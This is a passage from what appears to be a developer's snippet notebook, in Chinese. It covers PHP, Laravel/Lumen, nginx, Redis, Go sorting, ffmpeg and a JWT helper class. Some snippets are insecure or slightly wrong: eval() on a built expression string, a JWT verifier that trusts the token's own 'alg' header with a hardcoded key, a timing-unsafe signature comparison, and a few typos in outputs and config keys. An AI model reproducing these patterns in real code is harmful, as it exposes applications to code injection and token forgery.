$cnt++;
if ($limit == $cnt) {
//刷新一下输出buffer,防止由于数据过多造成问题
ob_flush();
flush();
$cnt = 0;
}
fputcsv($fp, $a);
}
fclose($fp); //每生成一个文件关闭
}
//进行多个文件压缩
$zip = new ZipArchive();
$filename = $mark . ".zip";
$zip->open($filename, ZipArchive::CREATE); //打开压缩包
foreach ($fileNameArr as $file) {
$zip->addFile($file, basename($file)); //向压缩包中添加文件
}
$zip->close(); //关闭压缩包
foreach ($fileNameArr as $file) {
unlink($file); //删除csv临时文件
}
//输出压缩文件提供下载
header("Cache-Control: max-age=0");
header("Content-Description: File Transfer");
header('Content-disposition: attachment; filename=' . basename($filename)); // 文件名
header("Content-Type: application/zip"); // zip格式的
header("Content-Transfer-Encoding: binary"); //
header('Content-Length: ' . filesize($filename)); //
@readfile($filename);//输出文件;
unlink($filename); //删除压缩包临时文件
}
--当你有几百万数据的时候,执行
select from table limit 0, 10 与 select from table limit 1000000, 10 耗时会有明显的差别
你可以查下一offset带来的影响,简单说就是如果你limit 1000000, 10 ,mysql处理的数据实际是1000010条,然后再抛弃1000000,获取后边的10条,所以速度就慢了。

还有一种场景就是当单表条数多时,有经验的开发列表页就不提供分页了,或者只让你查前几十页,不然真有人看几千页以后的数据,数据表受offset影响,返回速度会慢很多。
DB 果然要比 eloquent 方式快很多,正常了

Lumen 使用 throttle 限制接口访问频率

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
https://juejin.im/post/5c41bea8f265da61171cfecf
在app\Http\Middleware中新建ThrottleRequests.php文件 内容为 https://github.com/illuminate/routing/blob/master/Middleware/ThrottleRequests.php
protected function resolveRequestSignature($request){
return sha1(
$request->method() .
'|' . $request->server('SERVER_NAME') .
'|' . $request->path() .
'|' . $request->ip()
);
}
protected function buildException($key, $maxAttempts){
$retryAfter = $this->getTimeUntilNextRetry($key);
$headers = $this->getHeaders(
$maxAttempts,
$this->calculateRemainingAttempts($key, $maxAttempts, $retryAfter),
$retryAfter
);
// 修改了这一行
return new ThrottleException('Too Many Attempts.', 429);
}

在app/Exceptions中新建ThrottleException.php
<?php

namespace App\Exceptions;

use Exception;

class ThrottleException extends Exception{
protected $isReport = false;

public function isReport(){
return $this->isReport;
}
}
app/Exceptions/Handler.php捕获该抛出异常,在render方法增加以下判断
if ($exception instanceof ThrottleException) {
return response([
'code' => $exception->getCode(),
'msg' => $exception->getMessage()
], 429);
}
在bootstrap/app.php中注册:throttle:10,2表示的是2分钟内访问10
$app->routeMiddleware([
'throttle' => App\Http\Middleware\ThrottleRequests::class,
]);

$router->group(['middleware' => ['throttle:10,2']],function() use ($router){

$router->post('feedback','UserController@addFeedback');

});

db有多个连接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
门面模式下,laravel会用默认的连接(例如:defaultdb)而不是你认为的mydb。
$orm = DB::table('mydb.sale_area')
->leftJoin('mydb.sale_group_relation', 'mydb.sale_area.id', '=', 'mydb.sale_group_relation.child_id');
QLSTATE[42000]: Syntax error or access violation: 1142 SELECT command denied
to user 'xxxxx'@'xx.xx.xx.xx' for table 'sale_area'
$orm = DB::connection("mydb::read")->table("sale_area")
->leftJoin('sale_group_relation', 'sale_area.id', '=', 'sale_group_relation.child_id');

$orm->where('sale_area.id', $condition['id']);
$orm->select(['*']);
return $orm->get()->toArray();

class EventServiceProvider extends ServiceProvider {
public function boot() {
parent::boot();
// 监听事务时触发https://www.jianshu.com/p/c8f703d0ce5a
Event::listen(ConnectionEvent::class, function ($event){
Log::info(ConnectionEvent::class, $event->connection->getConfig());
});
// 监听日志记录的db操作
Event::listen(QueryExecuted::class, function ($event){
Log::info(QueryExecuted::class,
[
'connection'=>$event->connection->getConfig(),
'sql' => $event->sql,
'time' => $event->time,
'bindings' => $event->bindings,
]);
});
// 监听PdoStatement操作
Event::listen(StatementPrepared::class, function ($event) {
ob_start();
$event->statement->debugDumpParams();
$dump = ob_get_clean();
Log::info(StatementPrepared::class,
[
'connection'=>$event->connection->getConfig(),
'debugDumpParams' => $dump,
'errorCode' => $event->statement->errorCode(),
'errorInfo' => $event->statement->errorInfo(),
'queryString' => $event->statement->queryString,
]);
});
}
}

闭包基本用法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
PHP 中传递对象时,默认是以引用传递所以在闭包内操作 use 传递的对象时需要特别注意https://www.0php.net/posts/PHP-Clourse-%E9%97%AD%E5%8C%85%E7%B1%BB-%E6%B5%85%E6%9E%90.html
class Dog {
public $name = 'Wang Cai';
}

$dog = new Dog();

$changeName = function () use ($dog) {
$dog->name = 'Lai Fu';
};

$changeName();

echo $dog->name;
// 输出 Lai Fu
$clourse = function () {
echo 'hello clourse';
};

if (is_object($clourse)) {
echo get_class($clourse);
}
// 输出 Closure
class Pandas {
public $num = 1;
}

$pandas = new Pandas();

$add = function () {
echo ++$this->num . PHP_EOL;
};

$newAdd1 = $add->bindTo($pandas);
$newAdd1();
// 输出 2
$newAdd2 = Closure::bind($add, $pandas);
$newAdd2();
// 输出 3
如果将 Pandas 类的 $num 属性改写为 protected 或 private 则会抛出一个致命错误!
class Pandas {
protected $num = 1;
}

$pandas = new Pandas();

$add = function () {
echo ++$this->num . PHP_EOL;
};

$newAdd1 = $add->bindTo($pandas, $pandas);
$newAdd1();
// 输出 2
$newAdd2 = Closure::bind($add, $pandas, 'Pandas');
$newAdd2();
// 输出 3
class Pandas {
protected $num = 1;
}

$pandas = new Pandas();

$add = function ($num) {
$this->num += $num;
echo $this->num . PHP_EOL;
};

$add->call($pandas, 5);
// 输出 6

nginx 配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
# 指定运行 nginx 的用户
# 格式:user 用户名 [用户组];
user www www;

# nginx 的工作进程数
# 格式:worker_processes 进程数;
worker_processes 4;

# pid 文件的存放路径
# 格式:pid 文件路径;
pid logs/nginx.pid;

# 指定错误日志文件存放路径
# 格式:error_log 文件路径 [错误级别];
# 错误级别包括:DEBUG | info | notice | warn | error | crit | alert | emerg
error_log logs/logs.log warn;

# 指定 worker 进程打开文件最大数目限制
# 格式:worker_rlimit_nofile 最大打开文件数;
worker_rlimit_nofile 10000;

events {
# 指定每个 worker 进程同时打开的最大连接数
# 格式:worker_connections 最大连接数;
# 此值不能大于操作系统支持的打开的最大文件句柄数
worker_connections 1024;

# 设置是否允许同时接受多个连接
# 格式:multi_accept on|off;
multi_accept on;

# 设置事件驱动模型
# 格式:use 事件驱动模型;
# 可填内容:select | poll | kqueue | epoll | rtsig | /dev/poll | eventport
# 推荐使用 use epoll;
use epoll;
}

http {
# 引入「文件扩展名与文件类型映射表」的配置文件
include mime.types;

# 指定默认HTTP 响应的 Content-Type 值
# 格式:default_type type;
default_type text/plain;

# 指定连接日志格式
# 格式:log_format 格式名 格式字符串;
log_format myFormat '$remote_addr–$remote_user [$time_local] $request $status $body_bytes_sent $http_referer $http_user_agent $http_x_forwarded_for';

# 指定连接日志文件存放路径
# 格式:access_log 存放文件路径 日志格式;
access_log logs/access_logs.log myFormat;

# 指定连接超时时间
# 格式:keepalive_timeout 超时秒数
keepalive_timeout 60;

# 指定是否使用sendfile系统调用来传输文件
# 格式:sendfile on|off;
# 推荐开启
sendfile on;

server {
# 指定 server 监听的端口
# 格式:listen 端口号;
listen 80;

# 指定 server 主机名,支持域名、IP,可以使用通配符或正则表达式,支持多个
# 格式:server_name 主机名...;
server_name www.0php.net;

# 指定站点目录
# 格式:root 目录名;
root /www/public;

# 指定默认页面,可多个,优先匹配第一个存在的
# 格式:index 文件名...;
index index.html index.htm index.php;

# location 块
# 格式: location [=|~|~*|^~] 正则表达式 {...}
location ~ [^/]\.php(/|$) {
# 指定 fastcgi 代理
# 格式:fastcgi_pass fastcgi地址
fastcgi_pass 127.0.0.1:9000;

# 指定 fastcgi 默认请求文件
# 格式:fastcgi_index 默认请求文件
fastcgi_index index.php;

# 引入 fastcgi 的配置文件
include fastcgi.conf;
}

# 其它 location 均未匹配则会匹配此块
location / {
# 找指定路径下文件,如果不存在,则转给后面的文件执行
# 格式:try_files 文件路径...;
try_files $uri $uri/ /index.php?$query_string;
}
}
}

try catch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
function foo()
{
if (random_int(0, 1)) {
throw new RuntimeException('I am RuntimeException');
} else {
throw new OutOfRangeException('I am OutOfRangeException');
}
}

try {
foo();
} catch (OutOfRangeException|RuntimeException $e) {
echo $e->getMessage();
}
// 根据随机抛出的异常分别输出
// I am RuntimeException
// I am OutOfRangeException
全局异常处理函数
set_exception_handler(function (Exception $e) {
echo $e->getMessage();
});

function foo()
{
throw new Exception('nobody catch me');
}

foo();
// 输出 nobody catch me
function foo(int $a): int
{
return $a;
}

try {
foo('string');
} catch (Throwable $e) {
echo get_class($e);//TypeError
}
// 输出 Throwable Throwable 是 PHP 7 新出的一个预定义接口,Error 和 Exception 类都实现了这个接口,也就是说我们现在有能力通过 catch 捕获到 Error
function foo()
{
try {
throw new Exception();
return 1;
} catch (Exception $e) {
return 2;
} finally {
return 3;
}
}

echo foo();
// 输出 3 https://www.0php.net/posts/PHP-%E5%BC%82%E5%B8%B8%E5%A4%84%E7%90%86%E4%B8%89%E8%BF%9E-try-catch-finally.html
finally 内的代码是无论是否捕获到异常都会执行的代码,并且当 finally 中存在 return 返回值时,整个try..catch...finally段的返回值只会是 finally 的返回值。

忽略 include 的输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ob_start();
include 'file.php';
ob_end_clean();
输出缓冲区的作用是将 PHP 的输出内容缓存在一块内存中,当缓冲区的内存满了或者程序执行完毕后便会将缓冲区的内容发送给客户端。 https://www.0php.net/posts/PHP-%E8%BE%93%E5%87%BA%E7%BC%93%E5%86%B2%E5%8C%BA%E5%BA%94%E7%94%A8.html
ob_start();
echo 'world';
$str = ob_get_clean();
echo 'hello ' . $str;
// 输出 hello world
$str1 = "good";
$str2 = "good\0bad";
var_dump(strcoll($str1, $str2));
// 非二进制安全,输出 0
var_dump(strcmp($str1, $str2));
// 二进制安全,输出 -4 在二进制安全的函数操作里 \0 并不会看做字符串的结尾,字符串中所有的数据都没有特殊的含义。 https://www.0php.net/posts/PHP-%E5%AD%97%E7%AC%A6%E4%B8%B2%E7%9B%B8%E5%85%B3%E5%B8%B8%E8%AF%86.html

中间件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
$allMiddleware = function () {
echo 'start middleware2' . PHP_EOL;

(function () {
echo 'start middleware1' . PHP_EOL;
// app
(function () {
echo 'app' . PHP_EOL;
})();
// end app
echo 'end middleware1' . PHP_EOL;
})();

echo 'end middleware2' . PHP_EOL;
};
$allMiddleware();

// 输出https://www.0php.net/posts/PHP-%E6%A1%86%E6%9E%B6%E4%B8%AD%E9%97%B4%E4%BB%B6%E5%AE%9E%E7%8E%B0.html
// start middleware2
// start middleware1
// app
// end middleware1
// end middleware2
$db = function ($request, Closure $next) {
echo '成功建立数据库连接' . PHP_EOL;
$response = $next($request);
echo '成功关闭数据库连接' . PHP_EOL;

return $response;
};

$like = function ($request, Closure $next) {
echo '点赞+1' . PHP_EOL;
$response = $next($request);
echo '点赞+2' . PHP_EOL;

return $response;
};

$app = function ($request) {
echo $request . PHP_EOL;
return '一个无聊的返回值';
};

$allMiddleware = [$like, $db];
$next = $app;
foreach ($allMiddleware as $middleware) {
$next = function ($request) use ($middleware, $next) {
return $middleware($request, $next);
};
}
// array_reduce 实现
$allMiddleware = [$like, $db];
$go = array_reduce($allMiddleware, function ($next, $middleware) {
return function () use ($next, $middleware) {
$middleware($next);
};
}, $app);
$go();
$response = $next('O(∩_∩)O');
echo $response;

php数组函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
//composer require zane/utils dev-master
$data = [6, 11, 11, 2, 4, 4, 11, 6, 7, 4, 2, 11, 8];
$cv = array_count_values($data);
// $cv = [6 => 2, 11 => 4, 2 => 2, 4 => 3, 7 => 1, 8 => 1]
arsort($cv);
$max = key($cv);
var_dump($max);
// 结果 11
$power = ['read' => true, 'write' => true, 'execute' => true];
var_dump((bool)array_product($power));
// 结果 true
$power = ['read' => true, 'write' => true, 'execute' => false];
var_dump((bool)array_product($power));
// 结果 false
$power = ['read' => true, 'write' => true, 'execute' => 'true'];
var_dump((bool)array_product($power));
// 结果 false
$input = ['foo', false, -1, null, '', []];
var_dump(array_filter($input));
// 结果 [0 => 'foo', 2 => -1]
$input = [0 => 233, 99 => 666];
var_dump(array_values($input));
// 结果 [0 => 233, 1 => 66] 不止重置数字索引还会将字符串键名也同样删除并重置
input = ['hello' => 'world', 0 => 233, 99 => 666];
var_dump(array_slice($input, 0));
// 结果 ['hello' => 'world', 0 => 233, 1 => 66]
$raw = ['id' => 1, 'name' => 'zane', 'password' => '123456'];
// 用 PHP 内置函数实现
function removeKeys($array, $keys) {
return array_diff_key($array, array_flip($keys));
}
// 移除 id 键 https://www.0php.net/posts/%E5%B7%A7%E7%94%A8-PHP-%E6%95%B0%E7%BB%84%E5%87%BD%E6%95%B0.html
var_dump(removeKeys($raw, ['id', 'password']));
// 结果 ['name' => 'zane']
$input = ['you are' => 666, 'i am' => 233, 'he is' => 233, 'she is' => 666];
$result = array_flip(array_flip($input));
var_dump($result);
// 结果 ['she is' => 666, 'he is' => 233]

浮点数精确度

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
4.35-4.34等于0.0099999999999998
// 设置默认小数点保留位数

bcscale(2);

// 加法

echo bcadd(1234567890.123, 987654321987654321), PHP_EOL;

// 减法https://learnku.com/articles/23967

echo bcsub(1234567890.123, 987654321987654321), PHP_EOL;

// 乘法

echo bcmul(1234567890.123, 987654321987654321), PHP_EOL;

// 除法,指定保留小数后20位,否则小数点不够结果会是0

echo bcdiv(1234567890.123, 987654321987654321, 20), PHP_EOL;
或者这时候、你需要对比两个数值的大小范围、我建议你这样做,使用bccomp('1.00','1.00',2)比较两个数字的大小

windows换行符转换

1
sed -i 's/\r//' build.sh && bash build.sh

控制字符检测

1
2
3
4
5
6
7
8
9
10
$strings = array('string1' => "\n\r\t", 'string2' => 'arf12');
foreach ($strings as $name => $testcase) {
if (ctype_cntrl($testcase)) {
echo "The string '$name' consists of all control characters.\n";
} else {
echo "The string '$name' does not consist of all control characters.\n";
}
}
var_dump(checkdate(12, 31, 2000)); // 输出:bool(true)
var_dump(checkdate(2, 29, 2001)); // 输出:bool(false)

匿名函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
class Order
{
private $orderId = '001';

private static $defaultMoney = '100';

public $num = 1;
}

$getOrderId = function() {
return $this->orderId;
};

$getNum = function() {
return $this->num;
};

$getDefaultMoney = static function() {
return Order::$defaultMoney;
};
$getDefaultMoney1 = Closure::bind($getDefaultMoney, null, Order::class);
// 输出:100

$getOrderId1 = Closure::bind($getOrderId, null, Order::class);
// 输出:PHP Fatal error: Uncaught Error: Using $this when not in object context

$getNum1 = Closure::bind($getNum, null, Order::class);
// 输出:PHP Fatal error: Uncaught Error: Using $this when not in object context
$getDefaultMoney2 = Closure::bind($getDefaultMoney, new Order(), Order::class);
// 输出:PHP Warning: Cannot bind an instance to a static closure

$getOrderId2 = Closure::bind($getOrderId, new Order(), Order::class);
// 输出 string(3) "001"

$getNum2 = Closure::bind($getNum, new Order(), Order::class);
// 输出 int(1)
$getDefaultMoney3 = Closure::bind($getDefaultMoney, new Order());
// 输出 PHP Warning: Cannot bind an instance to a static closure

$getOrderId3 = Closure::bind($getOrderId, new Order());
// 输出 Fatal error: Uncaught Error: Cannot access private property Order::$orderId

$getNum3 = Closure::bind($getNum, new Order());
// 输出 int(1)
$getOrderId1 = $getOrderId->bindTo(new Order(), Order::class);

Laravel 辅助函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
composer.json的autoload下加

"autoload": {
"classmap": [
"database"
],
"psr-4": {
"App\\": "app/"
},
"file": [
"app/helpers.php"
]
},
然后再运行以下命令进行重新加载文件即可:

$ composer dump-autoload

go结构体自定义排序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package main

import (
"fmt"
"sort"
)

type userInfo struct {
Uid int64 //uid
Score int64 //分数
Rank int //排名
}

type Score []userInfo

func (s Score) Len() int { return len(s) }
func (s Score) Swap(i, j int) { s[i], s[j] = s[j], s[i] }
func (s Score) Less(i, j int) bool { return s[i].Score > s[j].Score } // 从大到小排序

func main() {
users := []userInfo{}
scores := []int64{2, 3, 4, 4, 5, 8, 8, 9, 1, 10,1}
fmt.Println(scores)
for i := 1; i <= 10; i++ {
users = append(users, userInfo{
Uid: int64(i),
Score: scores[i],
})
}

sort.Sort(Score(users))
fmt.Printf("%+v \n",users)

res := ReckonRank(users)
for _,v := range res {
fmt.Printf("user %+v \n",v)
}
}

func ReckonRank(users []userInfo) (usersInfo []userInfo) {
index := 0 //排名
var lastScore int64 //上一次分数
usersInfo = make([]userInfo, 0)
for _, user := range users {
if user.Score != lastScore {
index ++
lastScore = user.Score
}
usersInfo = append(usersInfo, userInfo{
Uid: user.Uid,
Score: user.Score,
Rank: index,
})
}

return
}

api签名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
//https://github.com/larvacent/laravel-auth-signature-guard/blob/master/src/SignatureGuard.php
//验证公共请求参数
if (!$request->has('app_id')) {
throw new AuthenticationException('Missing app_id parameter.');
}
if (!$request->has('timestamp')) {
throw new AuthenticationException('Missing timestamp parameter.');
}
if (!$request->has('signature')) {
throw new AuthenticationException('Missing signature parameter.');
}
if (!$request->has('signature_method')) {
throw new AuthenticationException('Missing signature_method parameter.');
}
if (!$request->has('signature_nonce')) {
throw new AuthenticationException('Missing signature_nonce parameter.');
}
//获取参数
$params = $request->except(['signature']);
//检查时间戳,误差1分钟
if ((time() - intval($params['timestamp'])) > 60) {
throw new AuthenticationException('Client time is incorrect.');
}
//获取有效的 Client
if (($client = $this->clients->findActive($params['app_id'])) == null) {
throw new AuthenticationException('App_id is incorrect.');
}
if ($request->input('signature') != $this->getSignature($params, $client->secret)) {
throw new AuthenticationException('Signature verification failed');
}

protected function getSignature(array $params, $key)
{
//参数排序
ksort($params);
$stringToSign = urlencode(http_build_query($params, null, '&', PHP_QUERY_RFC3986));
//签名
if ($params['signature_method'] == self::SIGNATURE_METHOD_HMACSHA256) {
return base64_encode(hash_hmac('sha256', $stringToSign, $key, true));
} elseif ($params['signature_method'] == self::SIGNATURE_METHOD_HMACSHA1) {
return base64_encode(hash_hmac('sha1', $stringToSign, $key, true));
}
throw new AuthenticationException('This signature method is not supported.');
}

PHP数组扁平化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$data = [
'testArray' => [
'string1',
'string2',
[
'string1',
'string2',
],
],
'teststring'
];
echo "<pre>";https://learnku.com/articles/24318

print_r(iterator_to_array(
new RecursiveIteratorIterator(
new RecursiveArrayIterator($data)
),
false // use_keys:默认true
)
);

/*Array
(
[0] => string1
[1] => string2
[2] => string1
[3] => string2
[4] => teststring
)*/

ffmpeg

1
2
3
4
5
6
yum install ffmpeg

自动批量合并视频文件https://github.com/kashu/merge.videos https://www.5yun.org/8224.html
ffmpeg -i "工程师的痛只有工程师能懂_高清-XNzE1NTk3Mzky_part1.flv" -c copy -bsf:v h264_mp4toannexb -f mpegts 1.ts
ffmpeg -i "工程师的痛只有工程师能懂_高清-XNzE1NTk3Mzky_part2.flv" -c copy -bsf:v h264_mp4toannexb -f mpegts 2.ts
ffmpeg -i "concat:1.ts|2.ts" -c copy -bsf:a aac_adtstoasc "工程师的痛只有工程师能懂.mp4"

1752年9月2日的后面竟然是14日

1
2
3
4
5
6
7
[root@su ~]# cal 9 1752
September 1752
Su Mo Tu We Th Fr Sa
1 2 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
https://tonydeng.github.io/2006/03/28/A-Linux-command-a-human-civilization/

批量转换文件编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/bash
DIR=$1 # 转换编码文件目录
FT=$2 # 需要转换的文件类型(扩展名)
SE=$3 # 原始编码
DE=$4 # 目标编码
for file in `find $DIR -type f -name "*.$FT"`; do
echo "conversion $file encoding $SE to $DE"
iconv -f $SE -t $DE "$file" > "$file".tmp
mv -f "$file".tmp "$file"
done
该脚本已经提交到github上。https://github.com/tonydeng/note/blob/1594ae267114effa910ff2511176d3dbf7968471/sh/batch_conversion_encoding.sh

调用方式
➜ ~ ./batch_conversion_encoding.sh ~/sdk1 java GBK UTF8

crontab 任务误删恢复

1
2
3
4
5
6
7
8
9
10
11
cat /var/log/cron* | grep CMD | awk -F'CMD' '{print $2}' | awk -F'[(|)]' '{print $2}' | sort -u
backup_crontab.sh
#!/usr/bin/env bash
#https://liam.page/2017/11/30/recovery-crontab-tasks/
BACKUP_DIRECTORY="${HOME}/crontab_backup"

if [ ! -e "${BACKUP_DIRECTORY}" ]; then
mkdir -p ${BACKUP_DIRECTORY}
fi

crontab -l > ${BACKUP_DIRECTORY}/$(date '+%Y%m%d').txt

php yield

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
function getValues() {
return 'value';
}
var_dump(getValues()); // string(5) "value"

function getValues() {
yield 'value';
}
var_dump(getValues()); // class Generator#1 (0) {}
一个生成器允许你使用循环来迭代一组数据,而不需要在内存中创建是一个数组,这可能会导致你超出内存限制。
function getValues() {
// 获取内存使用数据
echo round(memory_get_usage() / 1024 / 1024, 2) . ' MB' . PHP_EOL;
for ($i = 1; $i < 800000; $i++) {
yield $i;
// 做性能分析,因此可测量内存使用率
if (($i % 200000) == 0) {
// 内存使用以 MB 为单位
echo round(memory_get_usage() / 1024 / 1024, 2) . ' MB'. PHP_EOL;
}
}
}
$myValues = getValues(); // 在循环之前都不会有动作
foreach ($myValues as $value) {} // 开始生成数据https://learnku.com/laravel/t/8704/using-yield-to-do-memory-optimization-in-php
function getValues() {
yield 'value';
return 'returnValue';
}
$values = getValues();
foreach ($values as $value) {}
echo $values->getReturn(); // 'returnValue'
function getValues() {
yield 'key' => 'value';
}
$values = getValues();
foreach ($values as $key => $value) {
echo $key . ' => ' . $value;
}
使用 $ret = Generator::getReturn() 方法。
使用 $ret = yield from Generator() 表达式
function echoTimes($msg, $max) {
for ($i = 1; $i <= $max; ++$i) {
echo "$msg iteration $i\n";
yield;
}
return "$msg the end value : $i\n";
}

function task() {
$end = yield from echoTimes('foo', 10);
echo $end;
$gen = echoTimes('bar', 5);
yield from $gen;
echo $gen->getReturn();
}

foreach (task() as $item) {
;
}

Redis技巧:Sorted Set使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
127.0.0.1:6379> ZADD mid_test 70 "Li Lei"
(integer) 1
127.0.0.1:6379> ZADD mid_test 70 "Han Meimei"
(integer) 1
127.0.0.1:6379> ZADD mid_test 99.5 "Tom"
(integer) 1
127.0.0.1:6379> ZADD fin_test 88 "Li Lei"
(integer) 1
127.0.0.1:6379> ZADD fin_test 75 "Han Meimei"
(integer) 1
127.0.0.1:6379> ZADD fin_test 99.5 "Tom"
(integer) 1
127.0.0.1:6379> ZADD fin_test 100 "Jerry"
(integer) 1
127.0.0.1:6379> ZINTERSTORE sum_point 2 mid_test fin_test
(integer) 3
127.0.0.1:6379> ZREVRANGE sum_point 0 -1 WITHSCORES
1) "Tom"
2) "199"
3) "Li Lei"
4) "158"
5) "Han Meimei"
6) "145"
老师要按期中考试和期末考试的总成绩来排座位,就对mid_test和fin_test做了个交集 结果显示了学生的总成绩。 但结果中没有新来的Jerry同学(尽管TA考了100分)。这是坑一。
ZINTERSTORE取所有集合的交集。以两个集合A和B为例,要取交集C,是这样的逻辑:

A和B中共有的member,会加入到C中,其score等于A、B中score之和。
不同时在A和B的member,不会加到C中。

ZUNIONSTORE计算所有集合的并集。以两个集合A和B为例,要取并集C,是这样的逻辑:

A的所有member会加到C中,其score与A中相等
B的所有member会加到C中,其score与B中相等
A和B中共有的member,其score等于A、B中score之和。
因为ZINTERSTORE和ZUNIONSTORE有个参数为AGGREGATE,表示结果集的聚合方式,可取SUM、MIN、MAX其中之一。默认值为SUM。

所以不指定聚合方式时,缺省值为SUM,即求和。http://blog.text.wiki/2015/11/01/redis-zunionstore-tip.html
127.0.0.1:6379> zadd programmer 2000 peter
(integer) 1
127.0.0.1:6379> zadd programmer 3500 jack
(integer) 1
127.0.0.1:6379> zadd programmer 5000 tom
(integer) 1

127.0.0.1:6379> zadd manager 2000 herry
(integer) 1
127.0.0.1:6379> zadd manager 3500 mary
(integer) 1
127.0.0.1:6379> zadd manager 4000 tom
(integer) 1
127.0.0.1:6379> zunionstore salary 2 programmer manager
(integer) 5
127.0.0.1:6379> zrange salary 0 -1 withscores
1) "herry"
2) "2000"
3) "peter"
4) "2000"
5) "jack"
6) "3500"
7) "mary"
8) "3500"
9) "tom"
10) "9000"

字符串算术表达式计算

1
2
3
4
5
6
$aa = "{1}*{2}-{3}";  
$farr = array('/\{1\}/','/\{2\}/','/\{3\}/');
$tarr = array(3,4,10);
$str = preg_replace( $farr,$tarr,$aa);
echo $str; //结果:3*4-10
echo eval('return '.$str.';'); //结果:2

jwt 用户身份认证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
class JwtBase {
//头部
private static $header=array(
'alg'=>'HS256', //生成signature的算法
'typ'=>'JWT' //类型
);
//使用HMAC生成信息摘要时所使用的密钥
private static $key='KEY';

/**
* 获取jwt token
* @param array $payload jwt载荷 格式如下非必须
* [
* 'iss'=>'jwt_admin', //该JWT的签发者
* 'iat'=>time(), //签发时间
* 'exp'=>time()+7200, //过期时间
* 'nbf'=>time()+60, //该时间之前不接收处理该Token
* 'sub'=>'www.admin.com', //面向的用户
* 'jti'=>md5(uniqid('JWT').time()) //该Token唯一标识
* ]
* @return bool|string
*/
public static function getToken(array $payload)
{
$arr = [
'iss'=>'yamecent', //该JWT的签发者
'iat'=>time(), //签发时间
'exp'=>time()+3600*24*15, //过期时间
'nbf'=>time(), //该时间之前不接收处理该Token
'sub'=>'', //面向的用户
'jti'=>md5(uniqid('JWT').time()) //该Token唯一标识
];
$payload = array_merge($arr,$payload);
if(is_array($payload))
{
$base64header=self::base64UrlEncode(json_encode(self::$header,JSON_UNESCAPED_UNICODE));
$base64payload=self::base64UrlEncode(json_encode($payload,JSON_UNESCAPED_UNICODE));
$token=$base64header.'.'.$base64payload.'.'.self::signature($base64header.'.'.$base64payload,self::$key,self::$header['alg']);
return $token;
}else{
return false;
}
}

/**
* 验证token是否有效,默认验证exp,nbf,iat时间
* @param string $Token 需要验证的token
* @return bool|string
*/
public static function verifyToken(string $Token)
{
$tokens = explode('.', $Token);
if (count($tokens) != 3)
return false;

list($base64header, $base64payload, $sign) = $tokens;

//获取jwt算法
$base64decodeheader = json_decode(self::base64UrlDecode($base64header), JSON_OBJECT_AS_ARRAY);
if (empty($base64decodeheader['alg']))
return false;

//签名验证
if (self::signature($base64header . '.' . $base64payload, self::$key, $base64decodeheader['alg']) !== $sign)
return false;

$payload = json_decode(self::base64UrlDecode($base64payload), JSON_OBJECT_AS_ARRAY);

//签发时间大于当前服务器时间验证失败
if (isset($payload['iat']) && $payload['iat'] > time())
return false;

//过期时间小宇当前服务器时间验证失败
if (isset($payload['exp']) && $payload['exp'] < time())
return false;

//该nbf时间之前不接收处理该Token
